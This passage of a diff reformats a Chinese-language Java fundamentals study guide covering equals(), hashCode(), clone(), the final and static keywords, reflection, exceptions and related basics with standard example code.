+x.equals(y) == y.equals(x); // true
 ```
 
-Ⅲ 传递性
+Ⅲ 传递性
 
 ```java
-if (x.equals(y) && y.equals(z))
-    x.equals(z); // true;
+if (x.equals(y) && y.equals(z))
+    x.equals(z); // true;
 ```
 
-Ⅳ 一致性
+Ⅳ 一致性
 
-多次调用 equals() 方法结果不变
+多次调用 equals() 方法结果不变
 
 ```java
-x.equals(y) == x.equals(y); // true
+x.equals(y) == x.equals(y); // true
 ```
 
-Ⅴ 与 null 的比较
+Ⅴ 与 null 的比较
 
-对任何不是 null 的对象 x 调用 x.equals(null) 结果都为 false
+对任何不是 null 的对象 x 调用 x.equals(null) 结果都为 false
 
 ```java
-x.equals(null); // false;
+x.equals(null); // false;
 ```
 
-**2. 等价与相等** 
+**2. 等价与相等**
 
-- 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
-- 对于引用类型，== 判断两个变量是否引用同一个对象，而 equals() 判断引用的对象是否等价。
+- 对于基本类型，== 判断两个值是否相等，基本类型没有 equals() 方法。
+- 对于引用类型，== 判断两个变量是否引用同一个对象，而 equals() 判断引用的对象是否等价。
 
 ```java
-Integer x = new Integer(1);
-Integer y = new Integer(1);
-System.out.println(x.equals(y)); // true
-System.out.println(x == y);      // false
+Integer x = new Integer(1);
+Integer y = new Integer(1);
+System.out.println(x.equals(y)); // true
+System.out.println(x == y);      // false
 ```
 
-**3. 实现** 
+**3. 实现**
 
-- 检查是否为同一个对象的引用，如果是直接返回 true；
-- 检查是否是同一个类型，如果不是，直接返回 false；
-- 将 Object 对象进行转型；
-- 判断每个关键域是否相等。
+- 检查是否为同一个对象的引用，如果是直接返回 true；
+- 检查是否是同一个类型，如果不是，直接返回 false；
+- 将 Object 对象进行转型；
+- 判断每个关键域是否相等。
 
 ```java
-public class EqualExample {
+public class EqualExample {
 
-    private int x;
-    private int y;
-    private int z;
+    private int x;
+    private int y;
+    private int z;
 
-    public EqualExample(int x, int y, int z) {
-        this.x = x;
-        this.y = y;
-        this.z = z;
-    }
+    public EqualExample(int x, int y, int z) {
+        this.x = x;
+        this.y = y;
+        this.z = z;
+    }
 
-    @Override
-    public boolean equals(Object o) {
-        if (this == o) return true;
-        if (o == null || getClass() != o.getClass()) return false;
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (o == null || getClass() != o.getClass()) return false;
 
-        EqualExample that = (EqualExample) o;
+        EqualExample that = (EqualExample) o;
 
-        if (x != that.x) return false;
-        if (y != that.y) return false;
-        return z == that.z;
-    }
+        if (x != that.x) return false;
+        if (y != that.y) return false;
+        return z == that.z;
+    }
 }
 ```
 
-## hashCode()
+## hashCode()
 
-hashCode() 返回散列值，而 equals() 是用来判断两个对象是否等价。等价的两个对象散列值一定相同，但是散列值相同的两个对象不一定等价。
+hashCode() 返回散列值，而 equals() 是用来判断两个对象是否等价。等价的两个对象散列值一定相同，但是散列值相同的两个对象不一定等价。
 
-在覆盖 equals() 方法时应当总是覆盖 hashCode() 方法，保证等价的两个对象散列值也相等。
+在覆盖 equals() 方法时应当总是覆盖 hashCode() 方法，保证等价的两个对象散列值也相等。
 
-下面的代码中，新建了两个等价的对象，并将它们添加到 HashSet 中。我们希望将这两个对象当成一样的，只在集合中添加一个对象，但是因为 EqualExample 没有实现 hasCode() 方法，因此这两个对象的散列值是不同的，最终导致集合添加了两个等价的对象。
+下面的代码中，新建了两个等价的对象，并将它们添加到 HashSet 中。我们希望将这两个对象当成一样的，只在集合中添加一个对象，但是因为 EqualExample 没有实现 hasCode() 方法，因此这两个对象的散列值是不同的，最终导致集合添加了两个等价的对象。
 
 ```java
-EqualExample e1 = new EqualExample(1, 1, 1);
-EqualExample e2 = new EqualExample(1, 1, 1);
-System.out.println(e1.equals(e2)); // true
-HashSet<EqualExample> set = new HashSet<>();
+EqualExample e1 = new EqualExample(1, 1, 1);
+EqualExample e2 = new EqualExample(1, 1, 1);
+System.out.println(e1.equals(e2)); // true
+HashSet<EqualExample> set = new HashSet<>();
 set.add(e1);
 set.add(e2);
-System.out.println(set.size());   // 2
+System.out.println(set.size());   // 2
 ```
 
-理想的散列函数应当具有均匀性，即不相等的对象应当均匀分布到所有可能的散列值上。这就要求了散列函数要把所有域的值都考虑进来。可以将每个域都当成 R 进制的某一位，然后组成一个 R 进制的整数。R 一般取 31，因为它是一个奇素数，如果是偶数的话，当出现乘法溢出，信息就会丢失，因为与 2 相乘相当于向左移一位。
+理想的散列函数应当具有均匀性，即不相等的对象应当均匀分布到所有可能的散列值上。这就要求了散列函数要把所有域的值都考虑进来。可以将每个域都当成 R 进制的某一位，然后组成一个 R 进制的整数。R 一般取 31，因为它是一个奇素数，如果是偶数的话，当出现乘法溢出，信息就会丢失，因为与 2 相乘相当于向左移一位。
 
-一个数与 31 相乘可以转换成移位和减法：`31*x == (x<<5)-x`，编译器会自动进行这个优化。
+一个数与 31 相乘可以转换成移位和减法：`31*x == (x<<5)-x`，编译器会自动进行这个优化。
 
 ```java
 @Override
-public int hashCode() {
-    int result = 17;
-    result = 31 * result + x;
-    result = 31 * result + y;
-    result = 31 * result + z;
-    return result;
+public int hashCode() {
+    int result = 17;
+    result = 31 * result + x;
+    result = 31 * result + y;
+    result = 31 * result + z;
+    return result;
 }
 ```
 
-## toString()
+## toString()
 
-默认返回 ToStringExample@4554617c 这种形式，其中 @ 后面的数值为散列码的无符号十六进制表示。
+默认返回 ToStringExample@4554617c 这种形式，其中 @ 后面的数值为散列码的无符号十六进制表示。
 
 ```java
-public class ToStringExample {
+public class ToStringExample {
 
-    private int number;
+    private int number;
 
-    public ToStringExample(int number) {
-        this.number = number;
-    }
+    public ToStringExample(int number) {
+        this.number = number;
+    }
 }
 ```
 
 ```java
-ToStringExample example = new ToStringExample(123);
+ToStringExample example = new ToStringExample(123);
 System.out.println(example.toString());
 ```
 
@@ -847,290 +805,290 @@ System.out.println(example.toString());
 ToStringExample@4554617c
 ```
 
-## clone()
+## clone()
 
-**1. cloneable** 
+**1. cloneable**
 
-clone() 是 Object 的 protected 方法，它不是 public，一个类不显式去重写 clone()，其它类就不能直接去调用该类实例的 clone() 方法。
+clone() 是 Object 的 protected 方法，它不是 public，一个类不显式去重写 clone()，其它类就不能直接去调用该类实例的 clone() 方法。
 
 ```java
-public class CloneExample {
-    private int a;
-    private int b;
+public class CloneExample {
+    private int a;
+    private int b;
 }
 ```
 
 ```java
-CloneExample e1 = new CloneExample();
-// CloneExample e2 = e1.clone(); // 'clone()' has protected access in 'java.lang.Object'
+CloneExample e1 = new CloneExample();
+// CloneExample e2 = e1.clone(); // 'clone()' has protected access in 'java.lang.Object'
 ```
 
-重写 clone() 得到以下实现：
+重写 clone() 得到以下实现：
 
 ```java
-public class CloneExample {
-    private int a;
-    private int b;
+public class CloneExample {
+    private int a;
+    private int b;
 
-    @Override
-    public CloneExample clone() throws CloneNotSupportedException {
-        return (CloneExample)super.clone();
-    }
+    @Override
+    public CloneExample clone() throws CloneNotSupportedException {
+        return (CloneExample)super.clone();
+    }
 }
 ```
 
 ```java
-CloneExample e1 = new CloneExample();
-try {
-    CloneExample e2 = e1.clone();
-} catch (CloneNotSupportedException e) {
-    e.printStackTrace();
+CloneExample e1 = new CloneExample();
+try {
+    CloneExample e2 = e1.clone();
+} catch (CloneNotSupportedException e) {
+    e.printStackTrace();
 }
 ```
 
 ```html
-java.lang.CloneNotSupportedException: CloneExample
+java.lang.CloneNotSupportedException: CloneExample
 ```
 
-以上抛出了 CloneNotSupportedException，这是因为 CloneExample 没有实现 Cloneable 接口。
+以上抛出了 CloneNotSupportedException，这是因为 CloneExample 没有实现 Cloneable 接口。
 
-应该注意的是，clone() 方法并不是 Cloneable 接口的方法，而是 Object 的一个 protected 方法。Cloneable 接口只是规定，如果一个类没有实现 Cloneable 接口又调用了 clone() 方法，就会抛出 CloneNotSupportedException。
+应该注意的是，clone() 方法并不是 Cloneable 接口的方法，而是 Object 的一个 protected 方法。Cloneable 接口只是规定，如果一个类没有实现 Cloneable 接口又调用了 clone() 方法，就会抛出 CloneNotSupportedException。
 
 ```java
-public class CloneExample implements Cloneable {
-    private int a;
-    private int b;
+public class CloneExample implements Cloneable {
+    private int a;
+    private int b;
 
-    @Override
-    public Object clone() throws CloneNotSupportedException {
-        return super.clone();
-    }
+    @Override
+    public Object clone() throws CloneNotSupportedException {
+        return super.clone();
+    }
 }
 ```
 
-**2. 浅拷贝** 
+**2. 浅拷贝**
 
 拷贝对象和原始对象的引用类型引用同一个对象。
 
 ```java
-public class ShallowCloneExample implements Cloneable {
+public class ShallowCloneExample implements Cloneable {
 
-    private int[] arr;
+    private int[] arr;
 
-    public ShallowCloneExample() {
-        arr = new int[10];
-        for (int i = 0; i < arr.length; i++) {
-            arr[i] = i;
-        }
-    }
+    public ShallowCloneExample() {
+        arr = new int[10];
+        for (int i = 0; i < arr.length; i++) {
+            arr[i] = i;
+        }
+    }
 
-    public void set(int index, int value) {
-        arr[index] = value;
-    }
+    public void set(int index, int value) {
+        arr[index] = value;
+    }
 
-    public int get(int index) {
-        return arr[index];
-    }
+    public int get(int index) {
+        return arr[index];
+    }
 
-    @Override
-    protected ShallowCloneExample clone() throws CloneNotSupportedException {
-        return (ShallowCloneExample) super.clone();
-    }
+    @Override
+    protected ShallowCloneExample clone() throws CloneNotSupportedException {
+        return (ShallowCloneExample) super.clone();
+    }
 }
 ```
 
 ```java
-ShallowCloneExample e1 = new ShallowCloneExample();
-ShallowCloneExample e2 = null;
-try {
-    e2 = e1.clone();
-} catch (CloneNotSupportedException e) {
-    e.printStackTrace();
+ShallowCloneExample e1 = new ShallowCloneExample();
+ShallowCloneExample e2 = null;
+try {
+    e2 = e1.clone();
+} catch (CloneNotSupportedException e) {
+    e.printStackTrace();
 }
-e1.set(2, 222);
-System.out.println(e2.get(2)); // 222
+e1.set(2, 222);
+System.out.println(e2.get(2)); // 222
 ```
 
-**3. 深拷贝** 
+**3. 深拷贝**
 
 拷贝对象和原始对象的引用类型引用不同对象。
 
 ```java
-public class DeepCloneExample implements Cloneable {
+public class DeepCloneExample implements Cloneable {
 
-    private int[] arr;
+    private int[] arr;
 
-    public DeepCloneExample() {
-        arr = new int[10];
-        for (int i = 0; i < arr.length; i++) {
-            arr[i] = i;
-        }
-    }
+    public DeepCloneExample() {
+        arr = new int[10];
+        for (int i = 0; i < arr.length; i++) {
+            arr[i] = i;
+        }
+    }
 
-    public void set(int index, int value) {
-        arr[index] = value;
-    }
+    public void set(int index, int value) {
+        arr[index] = value;
+    }
 
-    public int get(int index) {
-        return arr[index];
-    }
+    public int get(int index) {
+        return arr[index];
+    }
 
-    @Override
-    protected DeepCloneExample clone() throws CloneNotSupportedException {
-        DeepCloneExample result = (DeepCloneExample) super.clone();
-        result.arr = new int[arr.length];
-        for (int i = 0; i < arr.length; i++) {
-            result.arr[i] = arr[i];
-        }
-        return result;
-    }
+    @Override
+    protected DeepCloneExample clone() throws CloneNotSupportedException {
+        DeepCloneExample result = (DeepCloneExample) super.clone();
+        result.arr = new int[arr.length];
+        for (int i = 0; i < arr.length; i++) {
+            result.arr[i] = arr[i];
+        }
+        return result;
+    }
 }
 ```
 
 ```java
-DeepCloneExample e1 = new DeepCloneExample();
-DeepCloneExample e2 = null;
-try {
-    e2 = e1.clone();
-} catch (CloneNotSupportedException e) {
-    e.printStackTrace();
+DeepCloneExample e1 = new DeepCloneExample();
+DeepCloneExample e2 = null;
+try {
+    e2 = e1.clone();
+} catch (CloneNotSupportedException e) {
+    e.printStackTrace();
 }
-e1.set(2, 222);
-System.out.println(e2.get(2)); // 2
+e1.set(2, 222);
+System.out.println(e2.get(2)); // 2
 ```
 
-**4. clone() 的替代方案** 
+**4. clone() 的替代方案**
 
-使用 clone() 方法来拷贝一个对象即复杂又有风险，它会抛出异常，并且还需要类型转换。Effective Java 书上讲到，最好不要去使用 clone()，可以使用拷贝构造函数或者拷贝工厂来拷贝一个对象。
+使用 clone() 方法来拷贝一个对象即复杂又有风险，它会抛出异常，并且还需要类型转换。Effective Java 书上讲到，最好不要去使用 clone()，可以使用拷贝构造函数或者拷贝工厂来拷贝一个对象。
 
 ```java
-public class CloneConstructorExample {
+public class CloneConstructorExample {
 
-    private int[] arr;
+    private int[] arr;
 
-    public CloneConstructorExample() {
-        arr = new int[10];
-        for (int i = 0; i < arr.length; i++) {
-            arr[i] = i;
-        }
-    }
+    public CloneConstructorExample() {
+        arr = new int[10];
+        for (int i = 0; i < arr.length; i++) {
+            arr[i] = i;
+        }
+    }
 
-    public CloneConstructorExample(CloneConstructorExample original) {
-        arr = new int[original.arr.length];
-        for (int i = 0; i < original.arr.length; i++) {
-            arr[i] = original.arr[i];
-        }
-    }
+    public CloneConstructorExample(CloneConstructorExample original) {
+        arr = new int[original.arr.length];
+        for (int i = 0; i < original.arr.length; i++) {
+            arr[i] = original.arr[i];
+        }
+    }
 
-    public void set(int index, int value) {
-        arr[index] = value;
-    }
+    public void set(int index, int value) {
+        arr[index] = value;
+    }
 
-    public int get(int index) {
-        return arr[index];
-    }
+    public int get(int index) {
+        return arr[index];
+    }
 }
 ```
 
 ```java
-CloneConstructorExample e1 = new CloneConstructorExample();
-CloneConstructorExample e2 = new CloneConstructorExample(e1);
-e1.set(2, 222);
-System.out.println(e2.get(2)); // 2
+CloneConstructorExample e1 = new CloneConstructorExample();
+CloneConstructorExample e2 = new CloneConstructorExample(e1);
+e1.set(2, 222);
+System.out.println(e2.get(2)); // 2
 ```
 
-# 六、关键字
+# 六、关键字
 
-## final
+## final
 
-**1. 数据** 
+**1. 数据**
 
 声明数据为常量，可以是编译时常量，也可以是在运行时被初始化后不能被改变的常量。
 
-- 对于基本类型，final 使数值不变；
-- 对于引用类型，final 使引用不变，也就不能引用其它对象，但是被引用的对象本身是可以修改的。
+- 对于基本类型，final 使数值不变；
+- 对于引用类型，final 使引用不变，也就不能引用其它对象，但是被引用的对象本身是可以修改的。
 
 ```java
-final int x = 1;
-// x = 2;  // cannot assign value to final variable 'x'
-final A y = new A();
-y.a = 1;
+final int x = 1;
+// x = 2;  // cannot assign value to final variable 'x'
+final A y = new A();
+y.a = 1;
 ```
 
-**2. 方法** 
+**2. 方法**
 
 声明方法不能被子类重写。
 
-private 方法隐式地被指定为 final，如果在子类中定义的方法和基类中的一个 private 方法签名相同，此时子类的方法不是重写基类方法，而是在子类中定义了一个新的方法。
+private 方法隐式地被指定为 final，如果在子类中定义的方法和基类中的一个 private 方法签名相同，此时子类的方法不是重写基类方法，而是在子类中定义了一个新的方法。
 
-**3. 类** 
+**3. 类**
 
 声明类不允许被继承。
 
-## static
+## static
 
-**1. 静态变量** 
+**1. 静态变量**
 
-- 静态变量：又称为类变量，也就是说这个变量属于类的，类所有的实例都共享静态变量，可以直接通过类名来访问它。静态变量在内存中只存在一份。
-- 实例变量：每创建一个实例就会产生一个实例变量，它与该实例同生共死。
+- 静态变量：又称为类变量，也就是说这个变量属于类的，类所有的实例都共享静态变量，可以直接通过类名来访问它。静态变量在内存中只存在一份。
+- 实例变量：每创建一个实例就会产生一个实例变量，它与该实例同生共死。
 
 ```java
-public class A {
+public class A {
 
-    private int x;         // 实例变量
-    private static int y;  // 静态变量
+    private int x;         // 实例变量
+    private static int y;  // 静态变量
 
-    public static void main(String[] args) {
-        // int x = A.x;  // Non-static field 'x' cannot be referenced from a static context
-        A a = new A();
-        int x = a.x;
-        int y = A.y;
-    }
+    public static void main(String[] args) {
+        // int x = A.x;  // Non-static field 'x' cannot be referenced from a static context
+        A a = new A();
+        int x = a.x;
+        int y = A.y;
+    }
 }
 ```
 
-**2. 静态方法** 
+**2. 静态方法**
 
 静态方法在类加载的时候就存在了，它不依赖于任何实例。所以静态方法必须有实现，也就是说它不能是抽象方法。
 
 ```java
-public abstract class A {
-    public static void func1(){
-    }
-    // public abstract static void func2();  // Illegal combination of modifiers: 'abstract' and 'static'
+public abstract class A {
+    public static void func1(){
+    }
+    // public abstract static void func2();  // Illegal combination of modifiers: 'abstract' and 'static'
 }
 ```
 
-只能访问所属类的静态字段和静态方法，方法中不能有 this 和 super 关键字。
+只能访问所属类的静态字段和静态方法，方法中不能有 this 和 super 关键字。
 
 ```java
-public class A {
+public class A {
 
-    private static int x;
-    private int y;
+    private static int x;
+    private int y;
 
-    public static void func1(){
-        int a = x;
-        // int b = y;  // Non-static field 'y' cannot be referenced from a static context
-        // int b = this.y;     // 'A.this' cannot be referenced from a static context
-    }
+    public static void func1(){
+        int a = x;
+        // int b = y;  // Non-static field 'y' cannot be referenced from a static context
+        // int b = this.y;     // 'A.this' cannot be referenced from a static context
+    }
 }
 ```
 
-**3. 静态语句块** 
+**3. 静态语句块**
 
 静态语句块在类初始化时运行一次。
 
 ```java
-public class A {
-    static {
-        System.out.println("123");
-    }
+public class A {
+    static {
+        System.out.println("123");
+    }
 
-    public static void main(String[] args) {
-        A a1 = new A();
-        A a2 = new A();
-    }
+    public static void main(String[] args) {
+        A a1 = new A();
+        A a2 = new A();
+    }
 }
 ```
 
@@ -1138,195 +1096,198 @@ public class A {
 123
 ```
 
-**4. 静态内部类** 
+**4. 静态内部类**
 
 非静态内部类依赖于外部类的实例，而静态内部类不需要。
 
 ```java
-public class OuterClass {
+public class OuterClass {
 
-    class InnerClass {
-    }
+    class InnerClass {
+    }
 
-    static class StaticInnerClass {
-    }
+    static class StaticInnerClass {
+    }
 
-    public static void main(String[] args) {
-        // InnerClass innerClass = new InnerClass(); // 'OuterClass.this' cannot be referenced from a static context
-        OuterClass outerClass = new OuterClass();
-        InnerClass innerClass = outerClass.new InnerClass();
-        StaticInnerClass staticInnerClass = new StaticInnerClass();
-    }
+    public static void main(String[] args) {
+        // InnerClass innerClass = new InnerClass(); // 'OuterClass.this' cannot be referenced from a static context
+        OuterClass outerClass = new OuterClass();
+        InnerClass innerClass = outerClass.new InnerClass();
+        StaticInnerClass staticInnerClass = new StaticInnerClass();
+    }
 }
 ```
 
 静态内部类不能访问外部类的非静态的变量和方法。
 
-**5. 静态导包** 
+**5. 静态导包**
 
-在使用静态变量和方法时不用再指明 ClassName，从而简化代码，但可读性大大降低。
+在使用静态变量和方法时不用再指明 ClassName，从而简化代码，但可读性大大降低。
 
 ```java
-import static com.xxx.ClassName.*
+import static com.xxx.ClassName.*
 ```
 
-**6. 初始化顺序** 
+**6. 初始化顺序**
 
 静态变量和静态语句块优先于实例变量和普通语句块，静态变量和静态语句块的初始化顺序取决于它们在代码中的顺序。
 
 ```java
-public static String staticField = "静态变量";
+public static String staticField = "静态变量";
 ```
 
 ```java
-static {
-    System.out.println("静态语句块");
+static {
+    System.out.println("静态语句块");
 }
 ```
 
 ```java
-public String field = "实例变量";
+public String field = "实例变量";
 ```
 
 ```java
 {
-    System.out.println("普通语句块");
+    System.out.println("普通语句块");
 }
 ```
 
 最后才是构造函数的初始化。
 
 ```java
-public InitialOrderTest() {
-    System.out.println("构造函数");
+public InitialOrderTest() {
+    System.out.println("构造函数");
 }
 ```
 
 存在继承的情况下，初始化顺序为：
 
-- 父类（静态变量、静态语句块）
-- 子类（静态变量、静态语句块）
-- 父类（实例变量、普通语句块）
-- 父类（构造函数）
-- 子类（实例变量、普通语句块）
-- 子类（构造函数）
+- 父类（静态变量、静态语句块）
+- 子类（静态变量、静态语句块）
+- 父类（实例变量、普通语句块）
+- 父类（构造函数）
+- 子类（实例变量、普通语句块）
+- 子类（构造函数）
 
 
-# 七、反射
+# 七、反射
 
-每个类都有一个  **Class**  对象，包含了与类有关的信息。当编译一个新类时，会产生一个同名的 .class 文件，该文件内容保存着 Class 对象。
+每个类都有一个 **Class** 对象，包含了与类有关的信息。当编译一个新类时，会产生一个同名的 .class 文件，该文件内容保存着 Class 对象。
 
-类加载相当于 Class 对象的加载，类在第一次使用时才动态加载到 JVM 中。也可以使用 `Class.forName("com.mysql.jdbc.Driver")` 这种方式来控制类的加载，该方法会返回一个 Class 对象。
+类加载相当于 Class 对象的加载，类在第一次使用时才动态加载到 JVM 中。也可以使用 `Class.forName("com.mysql.jdbc.Driver")` 这种方式来控制类的加载，该方法会返回一个 Class 对象。
 
-反射可以提供运行时的类信息，并且这个类可以在运行时才加载进来，甚至在编译时期该类的 .class 不存在也可以加载进来。
+反射可以提供运行时的类信息，并且这个类可以在运行时才加载进来，甚至在编译时期该类的 .class 不存在也可以加载进来。
 
-Class 和 java.lang.reflect 一起对反射提供了支持，java.lang.reflect 类库主要包含了以下三个类：
+Class 和 java.lang.reflect 一起对反射提供了支持，java.lang.reflect 类库主要包含了以下三个类：
 
--  **Field** ：可以使用 get() 和 set() 方法读取和修改 Field 对象关联的字段；
--  **Method** ：可以使用 invoke() 方法调用与 Method 对象关联的方法；
--  **Constructor** ：可以用 Constructor 创建新的对象。
+- **Field**：可以使用 get() 和 set() 方法读取和修改 Field 对象关联的字段；
+- **Method**：可以使用 invoke() 方法调用与 Method 对象关联的方法；
+- **Constructor**：可以用 Constructor 创建新的对象。
 
-**反射的优点：** 
+**反射的优点：**
 
-*    **可扩展性**  ：应用程序可以利用全限定名创建可扩展对象的实例，来使用来自外部的用户自定义类。
-*    **类浏览器和可视化开发环境**  ：一个类浏览器需要可以枚举类的成员。可视化开发环境（如 IDE）可以从利用反射中可用的类型信息中受益，以帮助程序员编写正确的代码。
-*    **调试器和测试工具**  ： 调试器需要能够检查一个类里的私有成员。测试工具可以利用反射来自动地调用类里定义的可被发现的 API 定义，以确保一组测试中有较高的代码覆盖率。
+*   **可扩展性** ：应用程序可以利用全限定名创建可扩展对象的实例，来使用来自外部的用户自定义类。
+*   **类浏览器和可视化开发环境** ：一个类浏览器需要可以枚举类的成员。可视化开发环境（如 IDE）可以从利用反射中可用的类型信息中受益，以帮助程序员编写正确的代码。
+*   **调试器和测试工具** ： 调试器需要能够检查一个类里的私有成员。测试工具可以利用反射来自动地调用类里定义的可被发现的 API 定义，以确保一组测试中有较高的代码覆盖率。
 
-**反射的缺点：** 
+**反射的缺点：**
 
 尽管反射非常强大，但也不能滥用。如果一个功能可以不用反射完成，那么最好就不用。在我们使用反射技术时，下面几条内容应该牢记于心。
 
-*    **性能开销**  ：反射涉及了动态类型的解析，所以 JVM 无法对这些代码进行优化。因此，反射操作的效率要比那些非反射操作低得多。我们应该避免在经常被执行的代码或对性能要求很高的程序中使用反射。
+*   **性能开销** ：反射涉及了动态类型的解析，所以 JVM 无法对这些代码进行优化。因此，反射操作的效率要比那些非反射操作低得多。我们应该避免在经常被执行的代码或对性能要求很高的程序中使用反射。
 
-*    **安全限制**  ：使用反射技术要求程序必须在一个没有安全限制的环境中运行。如果一个程序必须在有安全限制的环境中运行，如 Applet，那么这就是个问题了。
+*   **安全限制** ：使用反射技术要求程序必须在一个没有安全限制的环境中运行。如果一个程序必须在有安全限制的环境中运行，如 Applet，那么这就是个问题了。
 
-*    **内部暴露**  ：由于反射允许代码执行一些在正常情况下不被允许的操作（比如访问私有的属性和方法），所以使用反射可能会导致意料之外的副作用，这可能导致代码功能失调并破坏可移植性。反射代码破坏了抽象性，因此当平台发生改变的时候，代码的行为就有可能也随着变化。
+*   **内部暴露** ：由于反射允许代码执行一些在正常情况下不被允许的操作（比如访问私有的属性和方法），所以使用反射可能会导致意料之外的副作用，这可能导致代码功能失调并破坏可移植性。反射代码破坏了抽象性，因此当平台发生改变的时候，代码的行为就有可能也随着变化。
 
 
-- [Trail: The Reflection API](https://docs.oracle.com/javase/tutorial/reflect/index.html)
-- [深入解析 Java 反射（1）- 基础](http://www.sczyh30.com/posts/Java/java-reflection-1/)
+- [Trail: The Reflection API](https://docs.oracle.com/javase/tutorial/reflect/index.html)
+- [深入解析 Java 反射（1）- 基础](http://www.sczyh30.com/posts/Java/java-reflection-1/)
 
-# 八、异常
+# 八、异常
 
-Throwable 可以用来表示任何可以作为异常抛出的类，分为两种： **Error**  和 **Exception**。其中 Error 用来表示 JVM 无法处理的错误，Exception 分为两种：
+Throwable 可以用来表示任何可以作为异常抛出的类，分为两种：**Error** 和 **Exception**。其中 Error 用来表示 JVM 无法处理的错误，Exception 分为两种：
 
--  **受检异常** ：需要用 try...catch... 语句捕获并进行处理，并且可以从异常中恢复；
--  **非受检异常** ：是程序运行时错误，例如除 0 会引发 Arithmetic Exception，此时程序崩溃并且无法恢复。
+- **受检异常**：需要用 try...catch... 语句捕获并进行处理，并且可以从异常中恢复；
+- **非受检异常**：是程序运行时错误，例如除 0 会引发 Arithmetic Exception，此时程序崩溃并且无法恢复。
 
-<div align="center"> <img src="pics/PPjwP.png" width="600"/> </div><br>
+<img src="index_files/PPjwP.png" width="600"/>
 
-- [Java 入门之异常处理](https://www.tianmaying.com/tutorial/Java-Exception)
-- [Java 异常的面试问题及答案 -Part 1](http://www.importnew.com/7383.html)
+- [Java 入门之异常处理](https://www.tianmaying.com/tutorial/Java-Exception)
+- [Java 异常的面试问题及答案 -Part 1](http://www.importnew.com/7383.html)
 
-# 九、泛型
+# 九、泛型
 
 ```java
-public class Box<T> {
-    // T stands for "Type"
-    private T t;
-    public void set(T t) { this.t = t; }
-    public T get() { return t; }
+public class Box<T> {
+    // T stands for "Type"
+    private T t;
+    public void set(T t) { this.t = t; }
+    public T get() { return t; }
 }
 ```
 
-- [Java 泛型详解](http://www.importnew.com/24029.html)
-- [10 道 Java 泛型面试题](https://cloud.tencent.com/developer/article/1033693)
+- [Java 泛型详解](http://www.importnew.com/24029.html)
+- [10 道 Java 泛型面试题](https://cloud.tencent.com/developer/article/1033693)
 
-# 十、注解
+# 十、注解
 
-Java 注解是附加在代码中的一些元信息，用于一些工具在编译、运行时进行解析和使用，起到说明、配置的功能。注解不会也不能影响代码的实际逻辑，仅仅起到辅助性的作用。
+Java 注解是附加在代码中的一些元信息，用于一些工具在编译、运行时进行解析和使用，起到说明、配置的功能。注解不会也不能影响代码的实际逻辑，仅仅起到辅助性的作用。
 
-[注解 Annotation 实现原理与自定义注解例子](https://www.cnblogs.com/acm-bingzi/p/javaAnnotation.html)
+[注解 Annotation 实现原理与自定义注解例子](https://www.cnblogs.com/acm-bingzi/p/javaAnnotation.html)
 
-# 十一、特性
+# 十一、特性
 
-## Java 各版本的新特性
+## Java 各版本的新特性
 
-**New highlights in Java SE 8** 
+**New highlights in Java SE 8**
 
-1. Lambda Expressions
-2. Pipelines and Streams
-3. Date and Time API
-4. Default Methods
-5. Type Annotations
-6. Nashhorn JavaScript Engine
-7. Concurrent Accumulators
-8. Parallel operations
-9. PermGen Error Removed
+1. Lambda Expressions
+2. Pipelines and Streams
+3. Date and Time API
+4. Default Methods
+5. Type Annotations
+6. Nashhorn JavaScript Engine
+7. Concurrent Accumulators
+8. Parallel operations
+9. PermGen Error Removed
 
-**New highlights in Java SE 7** 
+**New highlights in Java SE 7**
 
-1. Strings in Switch Statement
-2. Type Inference for Generic Instance Creation
-3. Multiple Exception Handling
-4. Support for Dynamic Languages
-5. Try with Resources
-6. Java nio Package
-7. Binary Literals, Underscore in literals
-8. Diamond Syntax
+1. Strings in Switch Statement
+2. Type Inference for Generic Instance Creation
+3. Multiple Exception Handling
+4. Support for Dynamic Languages
+5. Try with Resources
+6. Java nio Package
+7. Binary Literals, Underscore in literals
+8. Diamond Syntax
 
-- [Difference between Java 1.8 and Java 1.7?](http://www.selfgrowth.com/articles/difference-between-java-18-and-java-17)
-- [Java 8 特性](http://www.importnew.com/19345.html)
+- [Difference between Java 1.8 and Java 1.7?](http://www.selfgrowth.com/articles/difference-between-java-18-and-java-17)
+- [Java 8 特性](http://www.importnew.com/19345.html)
 
-## Java 与 C++ 的区别
+## Java 与 C++ 的区别
 
-- Java 是纯粹的面向对象语言，所有的对象都继承自 java.lang.Object，C++ 为了兼容 C 即支持面向对象也支持面向过程。
-- Java 通过虚拟机从而实现跨平台特性，但是 C++ 依赖于特定的平台。
-- Java 没有指针，它的引用可以理解为安全指针，而 C++ 具有和 C 一样的指针。
-- Java 支持自动垃圾回收，而 C++ 需要手动回收。
-- Java 不支持多重继承，只能通过实现多个接口来达到相同目的，而 C++ 支持多重继承。
-- Java 不支持操作符重载，虽然可以对两个 String 对象执行加法运算，但是这是语言内置支持的操作，不属于操作符重载，而 C++ 可以。
-- Java 的 goto 是保留字，但是不可用，C++ 可以使用 goto。
-- Java 不支持条件编译，C++ 通过 #ifdef #ifndef 等预处理命令从而实现条件编译。
+- Java 是纯粹的面向对象语言，所有的对象都继承自 java.lang.Object，C++ 为了兼容 C 即支持面向对象也支持面向过程。
+- Java 通过虚拟机从而实现跨平台特性，但是 C++ 依赖于特定的平台。
+- Java 没有指针，它的引用可以理解为安全指针，而 C++ 具有和 C 一样的指针。
+- Java 支持自动垃圾回收，而 C++ 需要手动回收。
+- Java 不支持多重继承，只能通过实现多个接口来达到相同目的，而 C++ 支持多重继承。
+- Java 不支持操作符重载，虽然可以对两个 String 对象执行加法运算，但是这是语言内置支持的操作，不属于操作符重载，而 C++ 可以。
+- Java 的 goto 是保留字，但是不可用，C++ 可以使用 goto。
+- Java 不支持条件编译，C++ 通过 #ifdef #ifndef 等预处理命令从而实现条件编译。
 
-[What are the main differences between Java and C++?](http://cs-fundamentals.com/tech-interview/java/differences-between-java-and-cpp.php)
+[What are the main differences between Java and C++?](http://cs-fundamentals.com/tech-interview/java/differences-between-java-and-cpp.php)
 
-## JRE or JDK
+## JRE or JDK
 
-- JRE is the JVM program, Java application need to run on JRE.
-- JDK is a superset of JRE, JRE + tools for developing java programs. e.g, it provides the compiler "javac"
+- JRE is the JVM program, Java application need to run on JRE.
+- JDK is a superset of JRE, JRE + tools for developing java programs. e.g, it provides the compiler "javac"
 
-# 参考资料
+# 参考资料
 
-- Eckel B. Java 编程思想[M]. 机械工业出版社, 2002.
-- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
